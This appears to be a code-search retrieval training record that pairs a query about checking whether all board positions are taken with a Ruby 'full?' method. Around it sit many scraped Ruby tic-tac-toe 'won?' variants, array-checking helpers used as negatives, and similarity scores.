"def won?\n #diagonals first\n has_left_diagonal = true\n has_right_diagonal = true\n (1..@board.length-1).each do |i|\n has_left_diagonal = false unless @board[i][i] == @board[0][0]\n has_right_diagonal = false unless @board[i][-1-i] == @board[0][-1]\n end\n return @board[0][0] if has_left_diagonal\n return @board[-1][0] if has_right_diagonal\n \n #check rows\n (0..@board.length-1).each do |i|\n #slightly more concise but costly ( O(n^2) per uniq ) than a manual check\n return @board[i][0] if @board[i].uniq.length == 1\n end\n \n #check columns\n (0..@board.length-1).each do |i|\n player = @board[0][i]\n has_column = true\n (1..@board.length-1).each do |j|\n has_column = false unless @board[j][i] == player\n end\n return player if has_column\n end\n \n return 0\n end",
"def won?(board)\n \n # Iterates through WIN_COMBINATIONS and finds first matching win_combination and returns the winning array.\n WIN_COMBINATIONS.detect do |win_combination|\n \n # Each 'win_index' returns the first, second, and third elements of each winning combo array.\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n \n # Each 'position' uses the indices from the winning combos and applies them to the 'board' array.\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n \n # Takes first win_combination and checks to see if they are all \"X\"'s or \"O\"'s and that the string is not empty.\n position_1 == position_2 && position_2 == position_3 && position_taken?(board, win_index_1)\n end\nend",
"def won?\n board.all? do |row|\n row.all?(&:revealed?)\n end\n end",
"def won?\n board.all_non_mines_cells_revealed?\n end",
"def won?\n WIN_COMBINATIONS.any? do |combo|\n @board.cells[combo[0]] == @board.cells[combo[1]] && @board.cells[combo[0]] == @board.cells[combo[2]] && @board.cells[combo[0]] != \" \"\n end\n end",
"def won?(board)\n # for each win_combo in WIN_COMBINATIONS\n WIN_COMBINATIONS.each do |win_combo|\n # win_combination is a 3 element array of indexes that compose a win, eg. [0,1,2]\n # grab each index from the win_combo that composes a win.\n win_index_1 = win_combo[0]\n win_index_2 = win_combo[1]\n win_index_3 = win_combo[2]\n # If/else that declares a winner if all three spots in a winning array have\n # either an \"X\" or an \"O\", respectively.\n if board[win_index_1] == \"X\" && board[win_index_2] == \"X\" && board[win_index_3] == \"X\"\n return win_combo\n elsif board[win_index_1] == \"O\" && board[win_index_2] == \"O\" && board[win_index_3] == \"O\"\n return win_combo\n end\n end\n return false\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |win_combo|\n pos_one = win_combo[0]\n pos_two = win_combo[1]\n pos_three = win_combo[2]\n\n if board[pos_one] != \" \" && board[pos_one] == board[pos_two] && board[pos_two] == board[pos_three]\n return win_combo\n end\n end\n false\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |combo|\n board[combo[0]] == board[combo[1]] && board[combo[2]] == board[combo[1]] && position_taken?(board,combo[0])\n end\nend",
"def won?(board)\n game = false\n WIN_COMBINATIONS.each do |win_combination|\n if !game\n if win_combination.all?{|i| board[i]==\"X\"} || win_combination.all?{|i| board[i]==\"O\"}\n game = win_combination\n end\n end\n end\n game\n end",
"def won?\n WIN_COMBINATIONS.each do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = @board[win_index_1]\n position_2 = @board[win_index_2]\n position_3 = @board[win_index_3]\n\n if position_1 == position_2 && position_2 == position_3 && position_taken?(win_index_1)\n return win_combination\n end\n end\n return false\n end",
"def won?(board)\n WIN_COMBINATIONS.detect do |combinations|\n index_1 = combinations[0]\n index_2 = combinations[1]\n index_3 = combinations[2]\n\n position_1 = board[index_1]\n position_2 = board[index_2]\n position_3 = board[index_3]\n\n position_1 == position_2 && position_2 == position_3 && position_3 != \" \"\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |win_combination|\n # get indices of each win_combination\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n # get values from board that map to each index in each win_combination\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n # Are all values X's?\n if (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") || (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n return win_combination\n end # else not a win_combination\n\n end # WIN_COMBINATIONS.each iteration\n\n return false\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do | win_combination |\n # win_combination = [0,1,2], [3,4,5], [0,4,8], ... [2,4,6]\n\n win_index_1 = win_combination[0] # 0, 3\n win_index_2 = win_combination[1] # 1, 4\n win_index_3 = win_combination[2] # 2, 5\n\n position_1 = board[win_index_1] # \"X\", \"O\"\n position_2 = board[win_index_2] # \"O\", \"X\"\n position_3 = board[win_index_3] # \"X\", \"O\"\n\n if position_1 == position_2 && position_2 == position_3 && position_1 != \" \"\n return win_combination # return the win_combination indexes that won.\n else\n false\n end\n end\nend",
"def won?(board_array)\n winning_combo = nil\n #create a varibale to store code to check if board is empty\n empty_or_not = board_array.all? do |index|\n index == \" \"\n end\n #checks to see of board is empty or not\n if empty_or_not\n return false\n else\n #logic to check for a winning combination\n WIN_COMBINATIONS.each do |combo|\n if board_array[combo[0]] == \"X\" && board_array[combo[1]] == \"X\" && board_array[combo[2]] == \"X\"\n winning_combo = combo\n elsif board_array[combo[0]] == \"O\" && board_array[combo[1]] == \"O\" && board_array[combo[2]] == \"O\"\n winning_combo = combo\n end\n end\nend\n return winning_combo\nend",
"def won?(board)\n\n WIN_COMBINATIONS.each do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n \n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n \n if ((position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") || (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"))\n return win_combination\n end\n end\n return FALSE\nend",
"def over?(board)\n if draw?(board) || full?(board)\n true\n elsif won?(board) != false && won?(board) != []\n true\n else\n false\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |combo|\n if (board[combo[0]] == board[combo[1]] && board[combo[0]] == board[combo[2]] && board[combo[0]] != \" \" && board[combo[0]] != \"\" && !board[combo[0]].nil?)\n return combo\n break\n end\n end\n return false\nend",
"def won?(board)\n empty_board = board.all? do |element|\n element.nil? || element == \" \"\n end\n if empty_board\n return false\n end\n # For each win_combination in WIN_COMBINATIONS\n # win_combination is a 3 element array of indexes that compose a win, [0,1,2]\n WIN_COMBINATIONS.each do |win_combination|\n # grab each index from the win_combination that composes a win.\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = board[win_index_1] # load the value of the board at win_index_1\n position_2 = board[win_index_2] # load the value of the board at win_index_2\n position_3 = board[win_index_3] # load the value of the board at win_index_3\n\n # puts \"#{win_combination}\"\n if (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") ||\n (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n return win_combination # return the win_combination indexes that won.\n else\n false\n end\n end\n\n return false\n\nend",
"def won?(board)\n WIN_COMBINATIONS.each do | winning_combination |\n if board[winning_combination[0]] == \"X\" &&\n board[winning_combination[1]] == \"X\" &&\n board[winning_combination[2]] == \"X\" ||\n board[winning_combination[0]] == \"O\" &&\n board[winning_combination[1]] == \"O\" &&\n board[winning_combination[2]] == \"O\"\n return winning_combination\n end\n end\n false\nend",
"def won?\n WIN_COMBINATIONS.detect do |win_combination|\n @board[win_combination[0]] == @board[win_combination[1]] &&\n @board[win_combination[1]] == @board[win_combination[2]] &&\n position_taken?(win_combination[0])\n end\nend",
"def won?\n if empty?\n return false\n end\n\n WIN_COMBINATIONS.each do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = @board[win_index_1] # load the value of the board at win_index_1\n position_2 = @board[win_index_2] # load the value of the board at win_index_2\n position_3 = @board[win_index_3] # load the value of the board at win_index_3\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return win_combination # return the win_combination indexes that won.\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return win_combination # return the win_combination indexes that won.\n else\n false\n end\n end\n\n if full?\n return false\n end\n end",
"def over?(board)\n w = won?(board)\n if w.kind_of?(Array) == true || draw?(board) == true || full?(board) == true\n return true\n end\nend",
"def won? (board)\n #for each row, column and diagnonal combination\n WIN_COMBINATIONS.each do | win_combination |\n #grab the winning combinaation of indices we are looking for\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n #extract the value of these winning indices from the board\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n\n\n #check if either team has won\n if (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") ||\n (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n #we break out of here if we have a winning row, col, or diagnonal\n return win_combination\n end #end if\n end #end for each\n\n #if we get here the board may be empty\n #if we get here the board may be filled, but no winning combos\n return false\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |element|\n if board[element[0]] == \"X\" && board[element[1]] == \"X\" && board[element[2]] == \"X\"\n element\n elsif board[element[0]] == \"O\" && board[element[1]] == \"O\" && board[element[2]] == \"O\"\n element\n else\n false\n end\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |element|\n if board[element[0]] == \"X\" && board[element[1]] == \"X\" && board[element[2]] == \"X\"\n element\n elsif board[element[0]] == \"O\" && board[element[1]] == \"O\" && board[element[2]] == \"O\"\n element\n else\n false\n end\n end\nend",
"def won?()\n\n # loops through the 2D array WIN_COMBINATIONS\n WIN_COMBINATIONS.each do |combination|\n\n # flags\n x_win = 0\n o_win = 0\n\n combination.each do |index|\n\n # checks if player X wins\n if @board[index] == \"X\"\n x_win += 1\n\n if x_win == 3\n return combination\n end\n else\n x_win = 0\n end\n\n # checks if player O wins\n if @board[index] == \"O\"\n o_win += 1\n\n if o_win == 3\n return combination\n end\n else\n o_win = 0\n end\n\n end\n end\n\n # return false if there is no winner\n return false\n end",
"def won?(board)\n WIN_COMBINATIONS.detect do |combo|\n board[combo[0]] == board[combo[1]] &&\n board[combo[1]] == board[combo[2]] &&\n position_taken?(board, combo[0])\n end\nend",
"def won? (board)\n WIN_COMBINATIONS.detect do |win_combination|\n # Check if the win_combination is ocupied/not empty.\n valid_win_combination = position_taken?(board, win_combination[0])\n char1 = board[win_combination[0]]\n char2 = board[win_combination[1]]\n char3 = board[win_combination[2]]\n valid_win_combination && char1 == char2 && char2 == char3\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.find do |winning_combo|\n board[winning_combo[0]] == board[winning_combo[1]] &&\n board[winning_combo[1]] == board[winning_combo[2]] &&\n position_taken?(board, winning_combo[0])\n end\nend",
"def win?(piece)\n check_rows(piece, grid) || check_rows(piece, grid.transpose) || check_diagonals(piece)\n end",
"def won?\n\n WIN_COMBINATIONS.find do |win_combination|\n # puts \"This is win combination #{win_combination}\"\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = @board[win_index_1]\n position_2 = @board[win_index_2]\n position_3 = @board[win_index_3]\n\n position_1 == position_2 && position_2 == position_3 && position_taken?(win_index_1)\n end\n end",
"def won?\r\n WIN_COMBINATIONS.detect do | win_combination |\r\n # win_combination = [0,1,2], [3,4,5], [0,4,8], ... [2,4,6]\r\n\r\n win_index_1 = win_combination[0] # 0, 3\r\n win_index_2 = win_combination[1] # 1, 4\r\n win_index_3 = win_combination[2] # 2, 5\r\n\r\n position_1 = @board[win_index_1] # \"X\", \"O\"\r\n position_2 = @board[win_index_2] # \"O\", \"X\"\r\n position_3 = @board[win_index_3] # \"X\", \"O\"\r\n\r\n if position_1 == position_2 && position_2 == position_3 && position_1 != \" \"\r\n return win_combination # return the win_combination indexes that won.\r\n else\r\n false\r\n end\r\n end\r\n end",
"def draw?(board_array)\r\n full?(board_array) && !won?(board_array)\r\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do | combination |\n board[combination[0]] == board[combination[1]] &&\n board[combination[1]] == board[combination[2]] &&\n position_taken?(board,combination[0])\n end\nend",
"def won?\n # for each win_combo in WIN_COMBINATIONS\n WIN_COMBINATIONS.each do |win_combo|\n # win_combination is a 3 element array of indexes that compose a win, eg. [0,1,2]\n # grab each index from the win_combo that composes a win.\n win_index_1 = win_combo[0]\n win_index_2 = win_combo[1]\n win_index_3 = win_combo[2]\n # If/else that declares a winner if all three spots in a winning array have\n # either an \"X\" or an \"O\", respectively.\n if @board[win_index_1] == \"X\" && @board[win_index_2] == \"X\" && @board[win_index_3] == \"X\"\n puts \"Congratulations X!\"\n puts \"You won!\"\n return win_combo\n elsif @board[win_index_1] == \"O\" && @board[win_index_2] == \"O\" && @board[win_index_3] == \"O\"\n puts \"Congratulations O!\"\n puts \"You won!\"\n return win_combo\n end\n end\n return false\n end",
"def won?\n WIN_COMBINATIONS.find do |combination|\n win_index_1 = combination[0]\n win_index_2 = combination[1]\n win_index_3 = combination[2]\n position_1 = @board[win_index_1]\n\n position_2 = @board[win_index_2]\n position_3 = @board[win_index_3]\n\n position_taken?(win_index_1) && position_1 == position_2 && position_2 == position_3\n end\n end",
"def won?()\n WIN_COMBINATIONS.detect do |e|\n @board[e[0]] == @board[e[1]] && @board[e[1]] == @board[e[2]] && position_taken?( e[0])\n end\nend",
"def won?(board)\n board.all? {|i| i != \" \" || i != \"\"}\n winning_array = WIN_COMBINATIONS.detect do |win_array|\n if win_array.all? {|position| board[position] == \"X\" } == true\n winning_array.inspect\n elsif win_array.all? {|position| board[position] == \"O\" } == true\n winning_array.inspect\n end\n end\nend",
"def won?\n if @scores_array.reduce(0, :+) >= WINNING_SCORE \n \t\t\"You win!\"\n \t\treturn true\n \telse\n \"You haven't won yet.\"\n return false \n end\n end",
"def won?\n WIN_COMBINATIONS.detect { |combo|\n @board.cells[combo[0]] == @board.cells[combo[1]] &&\n @board.cells[combo[0]] == @board.cells[combo[2]] &&\n @board.taken?(combo[0] + 1)\n }\n # x = \"X\";\n # o = \"O\";\n #\n # WIN_COMBINATIONS.each do |win_combination|\n # win_index_1 = win_combination[0];\n # win_index_2 = win_combination[1];\n # win_index_3 = win_combination[2];\n #\n # position_1 = @board.cells[win_index_1];\n # position_2 = @board.cells[win_index_2];\n # position_3 = @board.cells[win_index_3];\n #\n # if ((position_1 == x && position_2 == x && position_3 == x) ||\n # (position_1 == o && position_2 == o && position_3 == o))\n # return win_combination;\n # else\n # false;\n # end\n # end\n # false; #explicitly tell ruby to return false if we've cycled through the board and no win combinations can be found\n end",
"def won?(board)\n fin = false\n WIN_COMBINATIONS.each do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n\n if (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") || (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n return win_combination #returns the winning index combinations\n else\n fin = false\n end\n end\n return fin\nend",
"def won?(board)\n\tif !(WIN_COMBINATIONS.any? do |indexs|\n\t\tif((indexs.all? do |values|\n\t\t\tboard[values] == \"O\"\n\t\tend) or (indexs.all? do |values|\n\t\t\tboard[values] == \"X\"\n\t\tend))\n\t\t\treturn indexs\n\t\tend\n\tend)\n\t\treturn false\n\tend\nend",
"def won?\n if @board.all?{|position|position == \" \"}\n return false\n end\n no_combinations = true\n WIN_COMBINATIONS.each do |combination|\n if combination1 = @board[combination[0]] == \"X\" && @board[combination[1]] == \"X\" && @board[combination[2]] == \"X\" ||\n combination2 = @board[combination[0]] == \"O\" && @board[combination[1]] == \"O\" && @board[combination[2]] == \"O\"\n no_combinations = false\n return combination\n end\n end\n if no_combinations == true\n return false\n end\n end",
"def won?\n WIN_COMBINATIONS.detect do |win_combo|\n if (@board[win_combo[0]]) == \"X\" && (@board[win_combo[1]]) == \"X\" && (@board[win_combo[2]]) == \"X\"\n return win_combo\n elsif (@board[win_combo[0]]) == \"O\" && (@board[win_combo[1]]) == \"O\" && (@board[win_combo[2]]) == \"O\"\n return win_combo\n end\n false\n end\n end",
"def won?(board)\n if empty?(board)\n return false\n end\n\n WIN_COMBINATIONS.each do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = board[win_index_1] # load the value of the board at win_index_1\n position_2 = board[win_index_2] # load the value of the board at win_index_2\n position_3 = board[win_index_3] # load the value of the board at win_index_3\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return win_combination # return the win_combination indexes that won.\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return win_combination # return the win_combination indexes that won.\n else\n false\n end\n end\n\n if full?(board)\n return false\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do | win_combination |\n (board[win_combination[0]] == \"X\" && board[win_combination[1]] == \"X\" && board[win_combination[2]] == \"X\")||\n (board[win_combination[0]] == \"O\" && board[win_combination[1]] == \"O\" && board[win_combination[2]] == \"O\")\n end\nend",
"def won?\n WIN_COMBINATIONS.find do |win_combo|\n if position_taken?(win_combo[0]) && @board[ win_combo[0] ] == @board[ win_combo[1] ] && @board[ win_combo[1] ] == @board[ win_combo[2] ]\n return win_combo\n else\n false\n end\n end\n end",
"def won?(board)\n WIN_COMBINATIONS.each do |indices|\n result = indices.map { |i| board[i] }\n if result == [\"X\", \"X\", \"X\"] || result == [\"O\", \"O\", \"O\"]\n return indices\n end\n end\n false\nend",
"def over?(board)\n if full?(board) || won?(board)\n return true\n else\n return false\n end\nend",
"def game_won? (guess = \"\")\r\n @game_won = (@gameboard == @word_arr || @word == guess)\r\n end",
"def won?\n i = 0\n while i < 9\n if @board[WIN_COMBINATIONS[i][0]] == \"X\" and @board[WIN_COMBINATIONS[i][1]] == \"X\" and @board[WIN_COMBINATIONS[i][2]] == \"X\"\n return WIN_COMBINATIONS[i]\n elsif @board[WIN_COMBINATIONS[i][0]] == \"O\" and @board[WIN_COMBINATIONS[i][1]] == \"O\" and @board[WIN_COMBINATIONS[i][2]] == \"O\"\n return WIN_COMBINATIONS[i]\n end\n i += 1\n end\n rescue NoMethodError\n return false\n end",
"def o_won?\r\n o = @game_board.each_index.select { |position| @game_board[position] == \"O\" }\r\n get_win(o)\r\n end"
] |
[
"0.8116885",
"0.80759764",
"0.8044434",
"0.8042309",
"0.80259085",
"0.7980246",
"0.79785234",
"0.7925157",
"0.7919571",
"0.78810054",
"0.78647566",
"0.78619254",
"0.78493226",
"0.7843078",
"0.7840151",
"0.7839784",
"0.7839582",
"0.78106374",
"0.7797049",
"0.7796388",
"0.7796388",
"0.77706164",
"0.77512956",
"0.77512956",
"0.77512956",
"0.7748128",
"0.77469176",
"0.77369875",
"0.7728672",
"0.7723787",
"0.77219677",
"0.7715857",
"0.7696244",
"0.7694995",
"0.7691492",
"0.76901764",
"0.7675105",
"0.7673736",
"0.76521045",
"0.76474226",
"0.76352376",
"0.76298976",
"0.7627385",
"0.7626541",
"0.76252687",
"0.7623549",
"0.76212656",
"0.761268",
"0.76123434",
"0.76026946",
"0.75987816",
"0.7587291",
"0.7584071",
"0.75794595",
"0.7576057",
"0.7560393",
"0.7555463",
"0.75487477",
"0.7548092",
"0.75461054",
"0.75426716",
"0.7535018",
"0.7533193",
"0.7525509",
"0.75185525",
"0.7517887",
"0.75136817",
"0.7508615",
"0.75033617",
"0.7499402",
"0.74968094",
"0.74968094",
"0.7493086",
"0.74919426",
"0.74816656",
"0.7477197",
"0.74764955",
"0.7472547",
"0.7465084",
"0.7450862",
"0.74474716",
"0.74412465",
"0.7440717",
"0.7439844",
"0.74365866",
"0.7435598",
"0.74337304",
"0.74336666",
"0.74308115",
"0.7429091",
"0.74286777",
"0.74271685",
"0.7426021",
"0.7425492",
"0.7420956",
"0.74164385",
"0.7409676",
"0.74086285",
"0.74043703"
] |
0.78373814
|
17
|
Takes a array as an argument and returns true if all positions taken else false
|
def full?(board)
board.all? do |position|
position == "X" || position == "O"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_positions(array)\n array.each do |a|\n array.each do |b|\n next if a == b\n return false if a[1] == b[1] || a[2] == b[2]\n end\n end\n\n return true\nend",
"def reduce_to_all_true(array)\n counter = 0;\n while counter < array.length do\n return false if !array[counter];\n counter += 1;\n end\n return(true);\nend",
"def got_three? array\n\tarray.each_cons(3){ |x| return true if x.all?{|y| y==x[0]} }\n\tfalse\nend",
"def reduce_to_all_true(source_array)\n i = 0\n while i < source_array.length do\n return false if !source_array[i]\n i += 1\n end\n return true\nend",
"def got_three?(array)\n\tarray.each_cons 3 do |x, y, z|\n\t\treturn true if x == y && y == z\n\tend\n\treturn false\nend",
"def got_three? (array)\n arr=[]\n(1..array.length-2).each{|x| arr.push(true) if array[x-1]== array[x] && array[x+1]== array[x] }\narr.include?(true)\nend",
"def got_three? array\n\tarray.each.with_index{|x,i| return true if (x == array[i+1] && x == array[i+2])}\n\treturn false\nend",
"def all?(array)\n i = 0\n score = 0\n\n while i < array.length\n if yield(array[i])\n score += 1\n end\n i += 1\n end\n\n score == array.length\nend",
"def all_eql?(arr)\n arr.each_cons(2).all? { |x, y| x == y }\n end",
"def valid?(board_array)\n board_array.each { |row| return false if row.length != row.uniq.length }\n return true\nend",
"def no_consecutive_repeats?(array)\n (0...array.length-1).each do |idx|\n return false if array[idx] == array[idx+1]\n end\n\n true\nend",
"def array_42(arr)\n arr.map{|x| x== 42}.count{|x| x == true} == 1 ? true : false\nend",
"def single_cycle_check(array)\n numElementsVisited = 0\n currentIdx = 0\n while numElementsVisited < array.length\n if numElementsVisited > 0 & currentIdx == 0\n return false\n end\n numElementsVisited += 1\n currentIdx = getNextIdx(currentIdx, array)\n end\n return currentIdx == 0\nend",
"def validate?(array)\n \ti = 1\n \tarray.sort!\n \tfor i in array do\n \t\tif(array[i-1] != i) \n \t\t\treturn false\n \t\tend\t\t\n \tend\n\t\treturn true\n end",
"def no_consecutive_repeats?(array)\n (0...array.length - 1).each {|index| return false if array[index] == array[index + 1] }\n true\nend",
"def reduce_to_all_true(source_array)\n i = 0\n\n while i < source_array.length do\n if source_array[i] == false\n return false\n end\n i += 1\n end\n \n return true\nend",
"def all?(&block)\n n = 0\n lim = size\n if block_given?\n while n < lim\n unless yield(self.__at(n)) ; return false ; end\n n = n + 1\n end\n else\n while n < lim\n unless self.__at(n) ; return false ; end\n n = n + 1\n end\n end\n true\n end",
"def no_consecutive_repeats?(array)\n (0...array.length - 1).each do |i|\n return false if array[i] == array[i+1]\n end\n true\nend",
"def no_consecutive_repeats?(arr)\n (0...arr.length - 1).each do |idx|\n next_idx = idx + 1\n return false if arr[idx] == arr[next_idx]\n end\n\n true\nend",
"def got_three?(array)\n\noutcome =false\ni = 0\n\tuntil i == array.length\n\t\toutcome = true if array[i] == array[i + 1] && array[i + 1] == array[i + 2]\n\t\ti += 1\n\tend\n\treturn outcome\nend",
"def all?(arr)\n arr.each { |el| return false if yield(el) == false}\n true\nend",
"def no_consecutive_repeats?(arr)\n\n (0...arr.length-1).all? { |idx| arr[idx] != arr[idx+1] }\n\nend",
"def no_consecutive_repeats?(arr)\n return true if arr.length == 1\n arr.inject do |acc, el| \n if acc == el\n return false\n else\n el \n end \n end\n true\nend",
"def areAllTrue(boolean_array)\r\n\tboolean_array.each do |x|\r\n\t\tif !x \r\n\t\t\treturn false\r\n\t\tend\r\n\tend\r\n\treturn true\r\nend",
"def no_consecutive_repeats?(arr)\n (0...arr.length - 1).each_with_index do |elm, i|\n return false if arr[i] == arr[i + 1]\n end \n\n true \nend",
"def reduce_to_all_true(source_array) \n i = 0\n while i < source_array do\n return false if !source_array[i]\n i += 1\n end\nend",
"def no_consecutive_repeats?(array)\n array.each_with_index do |ele, idx|\n if idx != array[-1] && ele == array[idx + 1]\n return false\n end\n end\n true\nend",
"def magic?(arr)\n n = arr.size / 2\n (0...n).map { |i| (arr[i] + arr[i + 1 < n ? i + 1 : 0] + arr[n + i]) }.reduce { |s, memo| s == memo ? memo : false }\nend",
"def no_consecutive_repeats?(arr)\n (0...arr.length).each do |i|\n return false if arr[i] == arr[i+1]\n end\n true\nend",
"def no_consecutive_repeats?(arr)\n (0...arr.length).each do |i|\n return false if arr[i] == arr[i+1]\n end\n true\nend",
"def no_consecutive_repeats?(arr)\n (0...arr.length - 1).each { |i| return false if arr[i] == arr[i + 1] }\n true \nend",
"def reduce_to_all_true(source_array)\n index = 0 \n result = true \n while index < source_array.length do \n if source_array[index]\n result\n else\n result = false\n end\n index += 1 \n end\n result\nend",
"def no_consecutive_repeats?(arr)\n (0...arr.length - 1).each do |i|\n return false if arr[i] == arr[i + 1]\n end\n\n true\nend",
"def test3(array)\n\tputs \"Test3: Should return an array of arrays -> \"\n\tabg_maker(array).any? {|x| x.class != Array} ? false : true\nend",
"def no_consecutive_repeats?(arr)\n (0...arr.length - 1).each do |i|\n return false if arr[i] == arr[i + 1]\n end\n true\nend",
"def no_consecutive_repeats?(arr)\n (0...arr.length-1).each { |i| return false if arr[i] == arr[i+1] }\n true\nend",
"def no_consecutive_repeats?(arr)\n (0...arr.length-1).each do |i|\n return false if arr[i] == arr[i+1]\n end\n true\nend",
"def isReflexive?(pairs)\r\n pairs = []\r\n if\r\n pairs.each.do |x|\r\n if x == x + 1\r\n end\r\n return true\r\n # iterate over arrays\r\n # return true if one array contains matching values\r\n else\r\n return false\r\n end\r\nend",
"def no_consecutive_repeats?(arr)\n (1...arr.length).each {|i| return false if arr[i] == arr[i-1]}\n true\nend",
"def horizontal?(arr)\n arr.all? do |sub_arr| \n sub_arr.all? {|element| sub_arr[0] == element}\n end\nend",
"def no_consecutive_repeats?(arr)\n (0...arr.length - 1).each do |i|\n return false if arr[i] == arr[i+1]\n end\n true\nend",
"def three_in_a_row?(xo_array)\n winning_moves = [[1,2,3], [4,5,6], [7,8,9], [1,4,7], [2,5,8], [3,6,9], [1,5,9], [3,5,7]]\n winning_moves.each do |array|\n if xo_array.sort == array\n return true\n end\n end\n return false\n end",
"def no_consecutive_repeats?(arr)\n (0...arr.length-1).each do |idx|\n # if arr[idx] == arr[idx + 1]\n # return false\n # end\n return false if arr[idx] == arr[idx + 1]\n end\n\n true\nend",
"def got_three?(array)\n r = []\n r_2 = []\n array.each_cons(2) { |a, b| r << [a, b] }\n r.each_cons (2) {|e1, e2| r_2 << (e1 == e2)}\n r_2.include? true\nend",
"def three_in_row(array)\n for i in (0...array.length)\n if array[i]==array[i+1] && array[i]== array[i+2]\n return true\n end\n end\n return false\nend",
"def got_three? array\n three = false\n array.each_cons(3) do |a, b, c|\n three = true if (a == b && a == c)\n end\n three\nend",
"def dup_args_ms(arr)\n arr.any? {|e| arr.count(e) > 1} ? true : false\nend",
"def valid?(array)\n array.include?(0) || array.sum != 180\nend",
"def hit_itself?\n # list.uniq removes all repeated elements from a list\n @positions.uniq.length != @positions.length\n end",
"def got_three?(array)\n\tanswer = false\n\tcounter = 0\n\n\twhile counter <= array.length - 1 do \t\t\t\t\t\t\t\t\t\t\n\n\t\tarray.each do |element|\n\t\t\t# element 1\n\t\t\t# counter 1 \n\t\t\tif element == array[counter + 1] && element == array[counter+2]\n\t\t\t\treturn true\n\t\t\tend\n\t\tcounter += 1\n\t\tend\t\n\n\n\tend\t\n\tanswer\nend",
"def boolean_nested_array(array)\n array.each do |slot|\n return true if slot.kind_of?(Array)\n end\n return false\nend",
"def no_consecutive_repeats?(arr)\n arr.each_with_index do |ele, i|\n if ele == arr[i + 1]\n return false \n end\n end\n true \nend",
"def check_rows(piece, arr)\n arr.each do |row|\n row.each_cons(4).each do |combination|\n return true if combination.all? { |a| a == piece }\n end\n end\n false\n end",
"def unique_arr?(arr)\n not_unique = false\n i = 0\n while (i < arr.length && !not_unique)\n j = i + 1\n while (j < arr.length && !not_unique)\n not_unique = true if arr[i] == arr[j] && arr[i] != '' && arr[i] != 0\n j += 1\n end\n i += 1\n end \n return !not_unique\n end",
"def every?(arr, &prc)\n count = 0\n arr.each do |ele| \n if prc.call(ele)\n count += 1\n end\n end\n count == arr.length\nend",
"def duplicate_elements?(arr)\n arr.uniq.length != arr.length\nend",
"def indexes_exist?(vegie_arr, choice_arr)\n vegie_index = []\n vegie_arr.each_index {|index| vegie_index << index}\n if choice_arr.length > vegie_arr.length\n return false\n else\n choice_arr.each do |value|\n return false if !vegie_index.include?(value - 1)\n end\n end\n true\n end",
"def element_duplicates?(elem, array)\r\n first_occurrence = array.index(elem)\r\n last_occurrence = array.rindex(elem)\r\n first_occurrence != last_occurrence\r\n end",
"def no_consecutive_repeats?(arr)\n arr.each_with_index do |ele, i|\n if arr[i] == arr[i + 1]\n return false\n end\n end\n\n true\nend",
"def reduce_to_any_true(source_array)\n counter = -1 \n while counter < source_array.length\n counter += 1\n while source_array[counter]\n if source_array[counter] == true\n return true\n else\n counter += 1\n end\n end\n end\n return false\nend",
"def every?(arr, &prc)\n\n arr.each do |ele|\n return false if !(prc.call(ele))\n end\n\n true\nend",
"def can_win?(array, index)\nend",
"def test3(array)\n\tputs \"Test3: Should return an array of arrays -> \"\n\tgroupMaker(array).any? {|x| x.class != Array} ? false : true\nend",
"def reduce_to_any_true(source_array)\n i = 0 \n while i < source_array.length do\n if source_array[i] == true \n return true\n end\n i += 1 \n end\n return false\nend",
"def got_three(array)\n array.each_with_index do |item, index|\n return true if item == array[index+1] && item == array[index+2]\n end\n false\nend",
